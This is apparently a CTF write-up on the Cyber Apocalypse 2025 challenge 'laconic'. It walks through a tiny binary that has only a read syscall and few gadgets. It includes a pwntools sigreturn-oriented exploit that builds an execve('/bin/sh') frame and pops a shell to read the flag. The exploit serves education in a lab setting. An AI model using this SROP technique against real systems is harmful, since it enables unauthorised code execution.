Bits and Bytes Security

Cyber Apocalypse 2025 - pwn_laconic

This post is part of a series where I describe some Cyber Apocalypse 2025 CTF challenges that I have participated in.

The list of posts is the following:

Enjoy!

pwn_laconic

The disassembly of this challenge couldn’t be simpler:

mov     rdi, 0
mov     rsi, rsp
sub     rsi, 8
mov		rdx, 106h
syscall
retn
pop		rax
retn

The binary has no protections:

$ checksec laconic
[*] 'laconic'
	Arch:     amd64-64-little
	RELRO:    No RELRO
	Stack:    No canary found
	NX:       NX disabled
	PIE:      No PIE (0x42000)
	RWX:      Has RWX segments

It’s just performing a syscall, with RSI set to RSP - 8, RDI set to zero, and RDX set to 0x106. To determine the function being called, it uses the RAX value, which is not explicitly set. What’s the RAX value at a program entry point? Apparently, it’s zero, but I couldn’t find any information to safely assume that!

Anyway, an RAX of zero is the read syscall. If you don’t know, from manpages 2 of syscall, we can see the naming convention for the Linux syscalls and the register arguments mapping.

$ man 2 syscall
...
Arch/ABI      arg1  arg2  arg3  arg4  arg5  arg6  arg7  Notes
   ──────────────────────────────────────────────────────────────
   alpha         a0    a1    a2    a3    a4    a5    -
   ...
   x86-64        rdi   rsi   rdx   r10   r8    r9    -
   x32           rdi   rsi   rdx   r10   r8    r9    -
   xtensa        a6    a3    a4    a5    a8    a9    -
...

So, it’s a:

read(0, rsp-8, 0x106)

Now what does each argument do?

While the C standard library (libc) provides a wrapper function for read(), this wrapper directly invokes the underlying system call. Therefore, the documentation in man 2 read pertains to the actual system call behavior, not just the library wrapper. Thus, we can use man 2 read to obtain information about the arguments for the read syscall.

$ man 2 syscall
...
SYNOPSIS
   #include <unistd.h>

   ssize_t read(int fd, void buf[.count], size_t count);
...

The file descriptor of 0 is the stdin (again, we can use manpages to help with that :D just do man stdin) So, in the end it is doing:

read(fd=stdin, buf=RSP-8, count=0x106)

No additional checks, no NX binary flag… buffer overflow possibility?

Now, we can write on the stack, let’s pause and think about it better. We could write instructions directly on the stack, say a shell code right? but how do we make the processor jump there? We can overwrite the return address also, but what would we use as address?

In a typical buffer overflow, we either write the shellcode along with a return address pointing to the stack, or we write the shellcode to an RWX memory region and change the return address to point there. In this case, we don’t have the stack address, nor do we have an RWX section available! So, it can’t be a simple shellcode-type buffer overflow…

The binary has no libc dependency and calls the syscalls directly. Thus, we won’t have libc gadgets for a ROP chain, and there is no abundance of gadgets in such a small binary:

$ ROPgadget --binary laconic
Gadgets information
============================================================
0x0000000000043013 : add byte ptr [rax], al ; syscall
0x000000000004300f : mov edx, 0x106 ; syscall
0x000000000004300e : mov rdx, 0x106 ; syscall
0x000000000004300d : or byte ptr [rax - 0x39], cl ; ret 0x106
0x000000000004300c : out dx, al ; or byte ptr [rax - 0x39], cl ; ret 0x106
0x0000000000043018 : pop rax ; ret
0x0000000000043017 : ret
0x0000000000043010 : ret 0x106
0x0000000000043015 : syscall

Unique gadgets found: 9

So what can we possibly do?

The pop rax followed by a retn looked suspicious, this allows us to change the RAX value with a ROP chain and call syscall again for example…

One idea would be to use ONEgadget. These are ROP chains from libc gadgets that pop a shell, and we only need to redirect execution to the start of that chain. However, we don’t have libc in this target!

I was stuck on this for a while until it suddenly clicked: sigrop! In sigreturn-oriented programming, we build a ROP chain that invokes the rt_sigreturn syscall to set all the necessary registers. This works because rt_sigreturn includes a sequence of instructions that pops into all registers. After that, we make a syscall to execve. To trigger the syscall, we just set the RIP to point to a syscall instruction—since all the other registers are already set correctly. There are many articles out there describing in more detail sigrop, for example, jorianwoltjer sigreturn oriented programming’s page.

However, there is a catch: we need to pass the /bin/sh argument. We would need to find a way to write that string to the stack or the binary. However, in this case, it wasn’t necessary because the target binary already contains that string.

$ xxd laconic | tail
000011a0: 0300 0000 0100 0000 0800 0000 0000 0000  ................
000011b0: 1800 0000 0000 0000 0900 0000 0300 0000  ................
000011c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000011d0: b010 0000 0000 0000 2100 0000 0000 0000  ........!.......
000011e0: 0000 0000 0000 0000 0100 0000 0000 0000  ................
000011f0: 0000 0000 0000 0000 1100 0000 0300 0000  ................
00001200: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00001210: d110 0000 0000 0000 2600 0000 0000 0000  ........&.......
00001220: 0000 0000 0000 0000 0100 0000 0000 0000  ................
00001230: 0000 0000 0000 0000 2f62 696e 2f73 6800  ......../bin/sh.

To build the ROP chain I used the very handy pwntools srop module.

frame = SigreturnFrame(kernel='amd64')
bin_sh = 0x0000000000043238
frame.rax = constants.SYS_execve
frame.rsi = 0
frame.rdi = bin_sh
frame.rcx = 0
frame.rdx = 0
frame.rip = rop.syscall.address

rop = ROP(elf)
rop.rax = 0xf # rt_sigreturn
rop.raw(rop.syscall.address)
conn.send(b'x'*8 + rop.chain() + bytes(frame))

The full solution can be downloaded from pwn_laconic.py. For this one I didn’t take a screenshot during the contest… anyway, this is what it would look like:

$ python3 solve.py --binary laconic --local
[!] Could not find executable 'laconic' in $PATH, using './laconic' instead
[+] Starting local process './laconic': pid 2111556
Launching local binary: laconic
[*] Loaded 3 cached gadgets for 'laconic'
[*] Switching to interactive mode
$ cat flag.txt
HTB{s1l3nt_r0p_58aba36fa0a303012eec966d60212f27}
$  

The lesson learned was to examine the binary for the necessary string /bin/sh and recognize that sigreturn can be employed when we know it’s a ROP but lack the required gadgets, requiring only a pop rax and syscall gadget.

The next post from the series is about pwn_contractor.

References

  1. https://book.jorianwoltjer.com/binary-exploitation/return-oriented-programming-rop/sigreturn-oriented-programming-srop
  2. https://docs.pwntools.com/en/stable/rop/srop.html ~